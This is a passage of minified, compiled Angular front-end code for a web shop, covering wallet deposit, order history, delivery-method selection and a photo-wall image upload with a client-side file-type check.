e=this;sessionStorage.setItem("walletTotal",this.balanceControl.value),this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/payment","wallet"])}))}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(U.F0),t.Y36(ce),t.Y36(t.R0b))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-wallet"]],decls:27,vars:14,consts:[[1,"mat-elevation-z6"],[1,"header_container"],["href","/#/wallet-web3","translate",""],["translate",""],[1,"confirmation"],["appearance","outline","color","accent"],["type","number","matInput","","aria-label","Enter an amount",3,"formControl"],["translate","",4,"ngIf"],["type","submit","id","submitButton","mat-raised-button","","color","primary","aria-label","Button to continue to payment",3,"disabled","click"],[1,"material-icons"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"div",1)(2,"h1"),t._uU(3),t.ALo(4,"translate"),t.qZA(),t.TgZ(5,"a",2),t._uU(6,"LINK_TRY_OUT_NEW_CRYPTO_WALLET"),t.qZA()(),t.TgZ(7,"h3",3),t._uU(8,"LABEL_ADD_MONEY"),t.qZA(),t.TgZ(9,"p")(10,"b")(11,"span",3),t._uU(12,"LABEL_WALLET_BALANCE"),t.qZA(),t.TgZ(13,"span",4),t._uU(14),t.qZA()()(),t.TgZ(15,"mat-form-field",5)(16,"mat-label"),t._uU(17),t.ALo(18,"translate"),t.qZA(),t._UZ(19,"input",6),t.YNc(20,Jl,2,0,"mat-error",7),t.YNc(21,Ql,2,0,"mat-error",7),t.qZA(),t.TgZ(22,"button",8),t.NdJ("click",function(){return o.continue()}),t.TgZ(23,"i",9),t._uU(24," monetization_on "),t.qZA(),t._uU(25),t.ALo(26,"translate"),t.qZA()()),2&e&&(t.xp6(3),t.Oqu(t.lcZ(4,8,"DIGITAL_WALLET")),t.xp6(11),t.hij(" ",o.balance,""),t.xp6(3),t.Oqu(t.lcZ(18,10,"LABEL_AMOUNT")),t.xp6(2),t.Q6J("formControl",o.balanceControl),t.xp6(1),t.Q6J("ngIf",o.balanceControl.invalid&&o.balanceControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.balanceControl.invalid&&(o.balanceControl.errors.min||o.balanceControl.errors.max)),t.xp6(1),t.Q6J("disabled",o.balanceControl.invalid),t.xp6(3),t.hij(" ",t.lcZ(26,12,"BTN_DEPOSIT")," "))},dependencies:[h.O5,u.Pi,s.Fj,s.wV,s.JJ,s.oH,f.TO,f.KE,f.hX,x.lW,T.a8,B.Nt,u.X$],styles:["mat-card[_ngcontent-%COMP%]{display:block;margin-left:30%;margin-right:30%}mat-form-field[_ngcontent-%COMP%]{padding-top:10px;width:100%}.form-container[_ngcontent-%COMP%]{min-width:350px}#submitButton[_ngcontent-%COMP%]{margin-left:20%;margin-top:30px;width:60%}.heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.2);font-size:x-large;justify-content:center;padding:12px 20px}.header_container[_ngcontent-%COMP%]{display:flex;justify-content:space-between}@media (max-width: 1100px){mat-card[_ngcontent-%COMP%]{margin-left:20%;margin-right:20%}}@media (max-width: 580px){mat-card[_ngcontent-%COMP%]{margin-left:10%;margin-right:10%}.header_container[_ngcontent-%COMP%]{flex-direction:column;margin-bottom:16px}}"]}),n})();function Gl(n,a){1&n&&(t.TgZ(0,"div",32),t._uU(1,"LABEL_IN_TRANSIT"),t.qZA())}function jl(n,a){1&n&&(t.TgZ(0,"div",33),t._uU(1,"LABEL_DELIVERED"),t.qZA())}function Kl(n,a){1&n&&(t.TgZ(0,"mat-header-cell",34),t._uU(1,"LABEL_PRODUCT"),t.qZA())}function Wl(n,a){if(1&n&&(t.TgZ(0,"mat-cell",35),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij("",e.name," ")}}function zl(n,a){1&n&&(t.TgZ(0,"mat-header-cell",36),t._uU(1,"LABEL_PRICE"),t.qZA())}function $l(n,a){if(1&n&&(t.TgZ(0,"mat-cell",37),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij("",e.price,"\\xa4")}}function Vl(n,a){1&n&&(t.TgZ(0,"mat-header-cell",36),t._uU(1,"LABEL_QUANTITY"),t.qZA())}function Xl(n,a){if(1&n&&(t.TgZ(0,"mat-cell",37)(1,"span"),t._uU(2),t.qZA()()),2&n){const e=a.$implicit;t.xp6(2),t.Oqu(e.quantity)}}function tc(n,a){1&n&&(t.TgZ(0,"mat-header-cell",36),t._uU(1,"LABEL_TOTAL_PRICE"),t.qZA())}function ec(n,a){if(1&n&&(t.TgZ(0,"mat-cell",38),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij("",e.total.toFixed(2),"\\xa4")}}function nc(n,a){1&n&&t._UZ(0,"mat-header-cell",36)}function oc(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell",37)(1,"button",17),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(3);return t.KtG(l.showDetail(r.id))}),t.ALo(2,"translate"),t.TgZ(3,"mat-icon"),t._uU(4," rate_review "),t.qZA()()()}2&n&&(t.xp6(1),t.s9C("matTooltip",t.lcZ(2,1,"WRITE_REVIEW")))}function ac(n,a){1&n&&t._UZ(0,"mat-header-row")}function ic(n,a){1&n&&t._UZ(0,"mat-row")}function rc(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"div")(1,"div",6)(2,"div",7)(3,"div",8)(4,"div",9)(5,"div",10),t._uU(6,"LABEL_ORDER_ID"),t.qZA(),t.TgZ(7,"div"),t._uU(8),t.qZA()(),t.TgZ(9,"div",11)(10,"div",10),t._uU(11,"LABEL_TOTAL_PRICE"),t.qZA(),t.TgZ(12,"div"),t._uU(13),t.qZA()(),t.TgZ(14,"div",11)(15,"div",10),t._uU(16,"LABEL_BONUS"),t.qZA(),t.TgZ(17,"div"),t._uU(18),t.qZA()(),t.TgZ(19,"div",12),t.YNc(20,Gl,2,0,"div",13),t.YNc(21,jl,2,0,"div",14),t.qZA(),t.TgZ(22,"div",15)(23,"button",16),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(2);return t.KtG(l.trackOrder(r.orderId))}),t.ALo(24,"translate"),t.TgZ(25,"mat-icon"),t._uU(26," local_shipping "),t.qZA()()(),t.TgZ(27,"div",15)(28,"button",17),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(2);return t.KtG(l.openConfirmationPDF(r.orderId))}),t.ALo(29,"translate"),t.TgZ(30,"mat-icon"),t._uU(31," note "),t.qZA()()()(),t._UZ(32,"div",18),t.qZA(),t.TgZ(33,"mat-table",19),t.ynx(34,20),t.YNc(35,Kl,2,0,"mat-header-cell",21),t.YNc(36,Wl,2,1,"mat-cell",22),t.BQk(),t.ynx(37,23),t.YNc(38,zl,2,0,"mat-header-cell",24),t.YNc(39,$l,2,1,"mat-cell",25),t.BQk(),t.ynx(40,26),t.YNc(41,Vl,2,0,"mat-header-cell",24),t.YNc(42,Xl,3,1,"mat-cell",25),t.BQk(),t.ynx(43,27),t.YNc(44,tc,2,0,"mat-header-cell",24),t.YNc(45,ec,2,1,"mat-cell",28),t.BQk(),t.ynx(46,29),t.YNc(47,nc,1,0,"mat-header-cell",24),t.YNc(48,oc,5,3,"mat-cell",25),t.BQk(),t.YNc(49,ac,1,0,"mat-header-row",30),t.YNc(50,ic,1,0,"mat-row",31),t.qZA()()()}if(2&n){const e=a.$implicit,o=t.oxw(2);t.xp6(8),t.hij("#",e.orderId,""),t.xp6(5),t.hij("",e.totalPrice.toFixed(2),"\\xa4"),t.xp6(5),t.Oqu(e.bonus),t.xp6(2),t.Q6J("ngIf",!e.delivered),t.xp6(1),t.Q6J("ngIf",e.delivered),t.xp6(2),t.s9C("matTooltip",t.lcZ(24,10,"LABEL_TRACK_ORDER")),t.xp6(5),t.s9C("matTooltip",t.lcZ(29,12,"PRINT_ORDER_CONFIRMATION")),t.xp6(5),t.Q6J("dataSource",e.products),t.xp6(16),t.Q6J("matHeaderRowDef",o.tableColumns),t.xp6(1),t.Q6J("matRowDefColumns",o.tableColumns)}}function sc(n,a){if(1&n&&(t.TgZ(0,"div",4),t.YNc(1,rc,51,14,"div",5),t.qZA()),2&n){const e=t.oxw();t.xp6(1),t.Q6J("ngForOf",e.orders)}}function lc(n,a){1&n&&(t.TgZ(0,"mat-card",39),t._UZ(1,"img",40),t.TgZ(2,"mat-card-title")(3,"span",41),t._uU(4," NO_SEARCH_RESULT "),t.qZA()(),t.TgZ(5,"mat-card-content")(6,"span",41),t._uU(7," NO_ORDERS_PLACED "),t.qZA()()())}let cc=(()=>{class n{constructor(e,o,i,r,l,m){this.router=e,this.dialog=o,this.orderHistoryService=i,this.basketService=r,this.productService=l,this.ngZone=m,this.tableColumns=["product","price","quantity","total price","review"],this.orders=[],this.emptyState=!0}ngOnInit(){this.orderHistoryService.get().subscribe(e=>{e=e.reverse(),this.emptyState=0===e.length;for(const o of e){const i=[];for(const r of o.products)i.push({id:r.id,name:r.name,price:r.price,quantity:r.quantity,total:r.total});this.orders.push({orderId:o.orderId,totalPrice:o.totalPrice,bonus:o.bonus,products:new d.by(i),delivered:o.delivered})}},e=>{console.log(e)})}showDetail(e){this.productService.get(e).subscribe(o=>{const i={id:o.id,name:o.name,description:o.description,image:o.image,price:o.price,points:Math.round(o.price/10)};this.dialog.open(ye,{width:"500px",height:"max-content",data:{productData:i}})},o=>{console.log(o)})}openConfirmationPDF(e){window.open(`${this.basketService.hostServer}/ftp/order_${e}.pdf`,"_blank")}trackOrder(e){var o=this;this.ngZone.run((0,w.Z)(function*(){return yield o.router.navigate(["/track-result"],{queryParams:{id:e}})}))}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(U.F0),t.Y36(N.uw),t.Y36(pe),t.Y36(X),t.Y36(Pt),t.Y36(t.R0b))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-order-history"]],decls:8,vars:5,consts:[[1,"card1"],[1,"mat-card-cvr"],["fxLayout","column","fxLayoutGap","20px",4,"ngIf","ngIfElse"],["emptyResult",""],["fxLayout","column","fxLayoutGap","20px"],[4,"ngFor","ngForOf"],[1,"table-container","mat-elevation-z4","custom-slate"],[1,"heading"],["fxLayout","row"],["fxFlex","40%","fxLayout","column"],["translate",""],["fxFlex","15%","fxLayout","column"],["fxFlex","20%"],["class","error","translate","",4,"ngIf"],["class","confirmation","translate","",4,"ngIf"],["fxFlex","5%","fxLayoutAlign","end"],["mat-icon-button","","aria-label","Track Your Order","matTooltipPosition","below",3,"matTooltip","click"],["mat-icon-button","","aria-label","Print order confirmation","matTooltipPosition","below",3,"matTooltip","click"],[1,"border"],[3,"dataSource"],["matColumnDef","product"],["translate","","fxFlex","40%",4,"matHeaderCellDef"],["fxFlex","40%",4,"matCellDef"],["matColumnDef","price"],["translate","","fxFlex","15%",4,"matHeaderCellDef"],["fxFlex","15%",4,"matCellDef"],["matColumnDef","quantity"],["matColumnDef","total price"],["class","price-align","fxFlex","15%",4,"matCellDef"],["matColumnDef","review"],[4,"matHeaderRowDef"],[4,"matRowDef","matRowDefColumns"],["translate","",1,"error"],["translate","",1,"confirmation"],["translate","","fxFlex","40%"],["fxFlex","40%"],["translate","","fxFlex","15%"],["fxFlex","15%"],["fxFlex","15%",1,"price-align"],[1,"mat-elevation-z6","emptyState"],["alt"," No results found","src","assets/public/images/products/no-results.png",1,"img-responsive","noResult"],["translate","",1,"noResultText"]],template:function(e,o){if(1&e&&(t.TgZ(0,"mat-card",0)(1,"div",1)(2,"mat-card-title"),t._uU(3),t.ALo(4,"translate"),t.qZA(),t.YNc(5,sc,2,1,"div",2),t.YNc(6,lc,8,0,"ng-template",null,3,t.W1O),t.qZA()()),2&e){const i=t.MAs(7);t.xp6(3),t.hij(" ",t.lcZ(4,3,"LABEL_ORDER_HISTORY")," "),t.xp6(2),t.Q6J("ngIf",!o.emptyState)("ngIfElse",i)}},dependencies:[h.sg,h.O5,u.Pi,p.xw,p.SQ,p.Wh,p.yH,F.Hw,x.lW,d.BZ,d.fO,d.as,d.w1,d.Dz,d.nj,d.ge,d.ev,d.XQ,d.Gk,T.a8,T.dn,T.n5,Q.gM,u.X$],styles:[".heading[_ngcontent-%COMP%]{padding:12px 20px}.heading-text[_ngcontent-%COMP%]{justify-content:center;padding:12px 20px}mat-card[_ngcontent-%COMP%]{height:auto;width:80%}.card1[_ngcontent-%COMP%]{border-radius:5px;margin:0 auto;width:80%}.main-wrapper[_ngcontent-%COMP%]{margin-left:10%;margin-right:10%}mat-cell[_ngcontent-%COMP%], mat-footer-cell[_ngcontent-%COMP%]{padding-left:10px;padding-right:10px}.price-align[_ngcontent-%COMP%]{text-align:right}mat-card-title[_ngcontent-%COMP%]{margin-bottom:25px}.border[_ngcontent-%COMP%]{border:.5px solid #f2f2f2}.emptyState[_ngcontent-%COMP%]{display:block;height:auto!important;margin:20px auto;width:50%}.custom-slate[_ngcontent-%COMP%]{border-radius:5px}.noResult[_ngcontent-%COMP%]{display:block;margin-left:auto;margin-right:auto;width:60%}.noResultText[_ngcontent-%COMP%]{display:block;margin-top:10px;text-align:center}"]}),n})();function uc(n,a){if(1&n&&(t.TgZ(0,"div",22)(1,"h1",4),t._uU(2,"LABEL_DELIVERY_ADDRESS"),t.qZA(),t.TgZ(3,"div"),t._uU(4),t.qZA(),t.TgZ(5,"div"),t._uU(6),t.qZA(),t.TgZ(7,"div"),t._uU(8),t.qZA(),t.TgZ(9,"div")(10,"span",4),t._uU(11,"PHONE_NUMBER"),t.qZA(),t._uU(12),t.qZA()()),2&n){const e=t.oxw();t.xp6(4),t.Oqu(null==e.address?null:e.address.fullName),t.xp6(2),t.HOy("",null==e.address?null:e.address.streetAddress,", ",null==e.address?null:e.address.city,", ",null==e.address?null:e.address.state,", ",null==e.address?null:e.address.zipCode,""),t.xp6(2),t.Oqu(null==e.address?null:e.address.country),t.xp6(4),t.hij(" ",null==e.address?null:e.address.mobileNum,"")}}function pc(n,a){1&n&&t._UZ(0,"mat-divider",23)}function dc(n,a){1&n&&t._UZ(0,"mat-header-cell",24)}function mc(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell",24)(1,"mat-radio-button",25),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw();return t.KtG(l.selectMethod(r.id))})("change",function(i){const l=t.CHM(e).$implicit,m=t.oxw();return t.KtG(i?m.selection.toggle(l):null)}),t.qZA()()}if(2&n){const e=a.$implicit,o=t.oxw();t.xp6(1),t.Q6J("checked",o.selection.isSelected(e))}}function gc(n,a){1&n&&t._UZ(0,"mat-header-cell",26)}function hc(n,a){if(1&n&&(t.TgZ(0,"mat-cell",26),t._UZ(1,"i",27),t._uU(2),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.Q6J("ngClass",e.icon),t.xp6(1),t.hij("\\xa0",e.name,"")}}function _c(n,a){1&n&&t._UZ(0,"mat-header-cell",28)}function fc(n,a){if(1&n&&(t.TgZ(0,"mat-cell",29),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij("",e.price.toFixed(2),"\\xa4")}}function Cc(n,a){1&n&&t._UZ(0,"mat-header-cell",30)}function vc(n,a){if(1&n&&(t.TgZ(0,"mat-cell",29),t._uU(1),t.ALo(2,"translate"),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.AsE("",e.eta," ",t.lcZ(2,2,"LABEL_DAYS"),"")}}function xc(n,a){1&n&&t._UZ(0,"mat-header-row")}function bc(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-row",31),t.NdJ("click",function(){const i=t.CHM(e),r=i.$implicit,l=i.$implicit,m=t.oxw();return m.selection.toggle(r),t.KtG(m.selectMethod(l.id))}),t.qZA()}}O.vI.add(g.tMT,g.x0v,g.$KU);let Tc=(()=>{class n{constructor(e,o,i,r,l){this.location=e,this.deliverySerivce=o,this.addressService=i,this.router=r,this.ngZone=l,this.displayedColumns=["Selection","Name","Price","ETA"],this.deliveryMethodId=void 0,this.selection=new Oe.Ov(!1,[])}ngOnInit(){this.addressService.getById(sessionStorage.getItem("addressId")).subscribe(e=>{this.address=e},e=>{console.log(e)}),this.deliverySerivce.get().subscribe(e=>{console.log(e),this.methods=e,this.dataSource=new d.by(this.methods)},e=>{console.log(e)})}selectMethod(e){this.deliveryMethodId=this.selection.hasValue()||e?e:void 0}routeToPreviousUrl(){this.location.back()}chooseDeliveryMethod(){var e=this;sessionStorage.setItem("deliveryMethodId",this.deliveryMethodId.toString()),this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/payment","shop"])}))}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(h.Ye),t.Y36(Dt),t.Y36(mt),t.Y36(U.F0),t.Y36(t.R0b))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-delivery-method"]],decls:33,vars:9,consts:[[1,"mat-elevation-z6"],["class","addressCont",4,"ngIf"],["class","detail-divider",4,"ngIf"],[2,"height","12px"],["translate",""],[3,"dataSource"],["matColumnDef","Selection"],["fxFlex","20%",4,"matHeaderCellDef"],["fxFlex","20%",4,"matCellDef"],["matColumnDef","Name"],["fxFlex","30%",4,"matHeaderCellDef"],["fxFlex","30%",4,"matCellDef"],["matColumnDef","Price"],["translate","LABEL_PRICE","fxFlex","25%",4,"matHeaderCellDef"],["fxFlex","25%",4,"matCellDef"],["matColumnDef","ETA"],["translate","LABEL_EXPECTED_DELIVERY","fxFlex","25%",4,"matHeaderCellDef"],[4,"matHeaderRowDef"],[3,"click",4,"matRowDef","matRowDefColumns"],[2,"margin-top","20px"],["mat-stroked-button","",1,"btn","btn-return",3,"click"],["mat-raised-button","","mat-button","","color","primary","aria-label","Proceed to delivery method selection",1,"btn","nextButton",3,"disabled","click"],[1,"addressCont"],[1,"detail-divider"],["fxFlex","20%"],[3,"checked","click","change"],["fxFlex","30%"],[3,"ngClass"],["translate","LABEL_PRICE","fxFlex","25%"],["fxFlex","25%"],["translate","LABEL_EXPECTED_DELIVERY","fxFlex","25%"],[3,"click"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0),t.YNc(1,uc,13,7,"div",1),t.YNc(2,pc,1,0,"mat-divider",2),t._UZ(3,"div",3),t.TgZ(4,"div")(5,"h1",4),t._uU(6,"LABEL_CHOOSE_A_DELIVERY_SPEED"),t.qZA(),t.TgZ(7,"mat-table",5),t.ynx(8,6),t.YNc(9,dc,1,0,"mat-header-cell",7),t.YNc(10,mc,2,1,"mat-cell",8),t.BQk(),t.ynx(11,9),t.YNc(12,gc,1,0,"mat-header-cell",10),t.YNc(13,hc,3,2,"mat-cell",11),t.BQk(),t.ynx(14,12),t.YNc(15,_c,1,0,"mat-header-cell",13),t.YNc(16,fc,2,1,"mat-cell",14),t.BQk(),t.ynx(17,15),t.YNc(18,Cc,1,0,"mat-header-cell",16),t.YNc(19,vc,3,4,"mat-cell",14),t.BQk(),t.YNc(20,xc,1,0,"mat-header-row",17),t.YNc(21,bc,1,0,"mat-row",18),t.qZA()(),t.TgZ(22,"div",19)(23,"button",20),t.NdJ("click",function(){return o.routeToPreviousUrl()}),t.TgZ(24,"mat-icon"),t._uU(25," navigate_before "),t.qZA(),t._uU(26),t.ALo(27,"translate"),t.qZA(),t.TgZ(28,"button",21),t.NdJ("click",function(){return o.chooseDeliveryMethod()}),t.TgZ(29,"mat-icon"),t._uU(30," navigate_next "),t.qZA(),t.TgZ(31,"span",4),t._uU(32,"LABEL_CONTINUE"),t.qZA()()()()),2&e&&(t.xp6(1),t.Q6J("ngIf",o.address),t.xp6(1),t.Q6J("ngIf",o.address),t.xp6(5),t.Q6J("dataSource",o.dataSource),t.xp6(13),t.Q6J("matHeaderRowDef",o.displayedColumns),t.xp6(1),t.Q6J("matRowDefColumns",o.displayedColumns),t.xp6(5),t.hij(" ",t.lcZ(27,7,"LABEL_BACK")," "),t.xp6(2),t.Q6J("disabled",void 0===o.deliveryMethodId))},dependencies:[h.mk,h.O5,u.Pi,p.yH,$.oO,F.Hw,x.lW,d.BZ,d.fO,d.as,d.w1,d.Dz,d.nj,d.ge,d.ev,d.XQ,d.Gk,T.a8,z.d,nt.U0,u.X$],styles:["mat-card[_ngcontent-%COMP%]{display:block;margin-left:20%;margin-right:20%}.addressCont[_ngcontent-%COMP%]{margin-bottom:12px}.detail-divider[_ngcontent-%COMP%]{border-top-width:4px!important;margin-left:1%!important;width:98%!important}.btn-return[_ngcontent-%COMP%]{display:block;margin-left:0;margin-right:auto}.nextButton[_ngcontent-%COMP%]{display:block;margin-left:auto;margin-right:0;margin-top:-37px}"]}),n})();var Ac=c(6498);const yc=n=>{if("string"==typeof n.value)return(0,bt.of)(null);const a=n.value,e=new FileReader;return new Ac.y(i=>{e.addEventListener("loadend",()=>{const r=new Uint8Array(e.result).subarray(0,4);let l="",m=!1;for(let v=0;v<r.length;v++)l+=r[v].toString(16);switch(l){case"89504e47":case"ffd8ffe0":case"ffd8ffe1":case"ffd8ffe2":case"ffd8ffe3":case"ffd8ffe8":m=!0;break;default:m=!1}i.next(m?null:{invalidMimeType:!0}),i.complete()}),e.readAsArrayBuffer(a)})};let He=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/rest/memories"}addMemory(e,o){const i=new FormData;return i.append("image",o,e),i.append("caption",e),this.http.post(this.host,i).pipe((0,C.U)(r=>r.data),(0,_.K)(r=>{throw r}))}get(){return this.http.get(this.host+"/").pipe((0,C.U)(e=>e.data),(0,_.K)(e=>{throw e}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();function Zc(n,a){if(1&n&&(t.TgZ(0,"a",10)(1,"button",11),t._UZ(2,"i",12),t.qZA()()),2&n){const e=t.oxw().$implicit,o=t.oxw(2);t.hYB("href","https://twitter.com/intent/tweet?text=",e.caption," ",o.twitterHandle,"&hashtags=appsec",t.LSH)}}function wc(n,a){if(1&n&&(t.TgZ(0,"span",6),t._UZ(1,"img",7),t.TgZ(2,"div",8)(3,"div"),t._uU(4),t.qZA(),t.YNc(5,Zc,3,2,"a",9),t.qZA()()),2&n){const e=a.$implicit,o=t.oxw(2);t.xp6(1),t.s9C("src",e.url,t.LSH),t.s9C("alt",e.caption),t.xp6(3),t.Oqu(e.caption),t.xp6(1),t.Q6J("ngIf",o.twitterHandle)}}function Sc(n,a){if(1&n&&(t.TgZ(0,"div",4),t.YNc(1,wc,6,4,"span",5),t.qZA()),2&n){const e=t.oxw();t.xp6(1),t.Q6J("ngForOf",e.slideshowDataSource)}}function kc(n,a){1&n&&(t.TgZ(0,"mat-card",13),t._UZ(1,"img",14),t.TgZ(2,"mat-card-title")(3,"span",15),t._uU(4," NO_SEARCH_RESULT "),t.qZA()(),t.TgZ(5,"mat-card-content")(6,"span",15),t._uU(7," EMPTY_MEMORY_LIST "),t.qZA()()())}function Ic(n,a){if(1&n&&(t.TgZ(0,"div",28),t._UZ(1,"img",29),t.qZA()),2&n){const e=t.oxw(2);t.xp6(1),t.Q6J("src",e.imagePreview,t.LSH)("alt",e.form.value.caption)}}function Oc(n,a){1&n&&(t.TgZ(0,"mat-error",17),t._uU(1),t.ALo(2,"translate"),t.qZA()),2&n&&(t.xp6(1),t.Oqu(t.lcZ(2,1,"MANDATORY_CAPTION")))}function Uc(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"div")(1,"div",16)(2,"h2",17),t._uU(3,"LABEL_SHARE_A_MEMORY"),t.qZA(),t.TgZ(4,"form",18)(5,"div")(6,"button",19),t.NdJ("click",function(){t.CHM(e);const i=t.MAs(10);return t.KtG(i.click())}),t._uU(7),t.ALo(8,"translate"),t.qZA(),t.TgZ(9,"input",20,21),t.NdJ("change",function(i){t.CHM(e);const r=t.oxw();return t.KtG(r.onImagePicked(i))}),t.qZA()(),t.YNc(11,Ic,2,2,"div",22),t.TgZ(12,"mat-form-field",23)(13,"mat-label",17),t._uU(14,"LABEL_CAPTION"),t.qZA(),t._UZ(15,"input",24),t.YNc(16,Oc,3,3,"mat-error",25),t.qZA(),t.TgZ(17,"button",26),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.save())}),t.TgZ(18,"i",27),t._uU(19," send "),t.qZA(),t._uU(20),t.ALo(21,"translate"),t.qZA()()()()}if(2&n){const e=t.oxw();t.xp6(4),t.Q6J("formGroup",e.form),t.xp6(3),t.hij("",t.lcZ(8,6,"LABEL_PICK_IMAGE")," "),t.xp6(4),t.Q6J("ngIf",""!==e.imagePreview&&e.imagePreview&&e.form.get("image").valid),t.xp6(5),t.Q6J("ngIf",e.form.get("caption").invalid),t.xp6(1),t.Q6J("disabled",e.form.get("image").invalid||e.form.get("caption").invalid),t.xp6(3),t.hij(" ",t.lcZ(21,8,"BTN_SUBMIT")," ")}}O.vI.add(Z.mdU);let Lc=(()=>{class n{constructor(e,o,i){this.photoWallService=e,this.configurationService=o,this.snackBarHelperService=i,this.emptyState=!0,this.form=new s.nJ({image:new s.p4("",{validators:[s.kI.required],asyncValidators:[yc]}),caption:new s.p4("",[s.kI.required])}),this.slideshowDataSource=[],this.twitterHandle=null}ngOnInit(){this.slideshowDataSource=[],this.photoWallService.get().subscribe(e=>{this.emptyState=0===e.length;for(const o of e)o.User?.username&&(o.caption=`${o.caption} (\\xa9 ${o.User.username})`),this.slideshowDataSource.push({url:o.imagePath,caption:o.caption})},e=>{console.log(e)}),this.configurationService.getApplicationConfiguration().subscribe(e=>{e?.application?.social&&e.application.social.twitterUrl&&(this.twitterHandle=e.application.social.twitterUrl.replace("https://twitter.com/","@"))},e=>{console.log(e)})}onImagePicked(e){const o=e.target.files[0];this.form.patchValue({image:o}),this.form.get("image").updateValueAndValidity();const i=new FileReader;i.onload=()=>{this.imagePreview=i.result},i.readAsDataURL(o)}save(){this.photoWallService.addMemory(this.form.value.caption,this.form.value.image).subscribe(()=>{this.resetForm(),this.ngOnInit(),this.snackBarHelperService.open("IMAGE_UPLOAD_SUCCESS","confirmBar")},e=>{this.snackBarHelperService.open(e.error?.error,"errorBar"),console.log(e)})}isLoggedIn(){return localStorage.getItem("token")}resetForm(){this.form.get("image").setValue(""),this.form.get("image").markAsPristine(),this.form.get("image").markAsUntouched(),this.form.get("caption").setValue(""),this.form.get("caption").markAsPristine(),this.form.get("caption").markAsUntouched(),this.form.get("caption").setErrors(null)}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(He),t.Y36(b.e),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-photo-wall"]],decls:9,vars:6,consts:[[1,"heading","mat-elevation-z6","mat-own-card",2,"margin-bottom","10px"],["class","grid",4,"ngIf","ngIfElse"],["emptyResult",""],[4,"ngIf"],[1,"grid"],["class","container mat-elevation-z6",4,"ngFor","ngForOf"],[1,"container","mat-elevation-z6"],[1,"image",3,"src","alt"],[1,"overlay"],["target","_blank",3,"href",4,"ngIf"],["target","_blank",3,"href"],["mat-icon-button","","aria-label","Tweet"],[1,"fab","fa-twitter","fa-lg"],[1,"mat-elevation-z0","emptyState"],["alt"," No results found","src","assets/public/images/products/no-results.png",1,"img-responsive","noResult"],["translate","",1,"noResultText"],[2,"margin-top","10px"],["translate",""],["enctype","multipart/form-data",3,"formGroup"],["mat-stroked-button","","type","button",3,"click"],["type","file","name","file",3,"change"],["filePicker",""],["class","image-preview",4,"ngIf"],["appearance","outline","color","accent"],["formControlName","caption","type","text","matInput",""],["translate","",4,"ngIf"],["id","submitButton","mat-raised-button","","color","primary",3,"disabled","click"],[1,"material-icons"],[1,"image-preview"],[3,"src","alt"]],template:function(e,o){if(1&e&&(t.TgZ(0,"mat-card",0)(1,"h1"),t._uU(2),t.ALo(3,"translate"),t.qZA(),t.TgZ(4,"div"),t.YNc(5,Sc,2,1,"div",1),t.qZA(),t.YNc(6,kc,8,0,"ng-template",null,2,t.W1O),t.YNc(8,Uc,22,10,"div",3),t.qZA()),2&e){const i=t.MAs(7);t.xp6(2),t.Oqu(t.lcZ(3,4,"LABEL_PHOTO_WALL")),t.xp6(3),t.Q6J("ngIf",!o.emptyState)("ngIfElse",i),t.xp6(3),t.Q6J("ngIf",o.isLoggedIn())}},dependencies:[h.sg,h.O5,u.Pi,s._Y,s.Fj,s.JJ,s.JL,s.sg,s.u,f.TO,f.KE,f.hX,x.lW,T.a8,T.dn,T.n5,B.Nt,u.X$],styles:["mat-form-field[_ngcontent-%COMP%]{width:100%}.mat-own-card[_ngcontent-%COMP%]{display:block;margin-left:10%;margin-right:10%}#submitButton[_ngcontent-%COMP%]{margin-left:20%;margin-top:10px;width:60%}input[type=file][_ngcontent-%COMP%]{visibility:hidden}.image-preview[_ngcontent-%COMP%]{height:5rem;margin:1rem 0}.image-preview[_ngcontent-%COMP%] img[_ngcontent-%COMP%]{height:100%}.heading-main[_ngcontent-%COMP%]{font-size:x-large;justify-content:center}.main-wrapper[_ngcontent-%COMP%]{margin-left:10%;margin-right:10%}.grid[_ngcontent-%COMP%]{align-items:center;display:grid;grid-gap:20px;grid-template-columns:repeat(auto-fill,minmax(300px,1fr))}.grid[_ngcontent-%COMP%] img[_ngcontent-%COMP%]{border-radius:4px;box-shadow:2px 2px 6px #0000004d;max-width:100%}.container[_ngcontent-%COMP%]{position:relative}.image[_ngcontent-%COMP%]{display:block}.overlay[_ngcontent-%COMP%]{bottom:0;font-size:20px;left:0;opacity:0;padding:20px;position:absolute;right:0;text-align:center;transition:.5s ease}.container[_ngcontent-%COMP%]:hover .overlay[_ngcontent-%COMP%]{opacity:1}.emptyState[_ngcontent-%COMP%]{display:block;height:auto!important;margin:20px 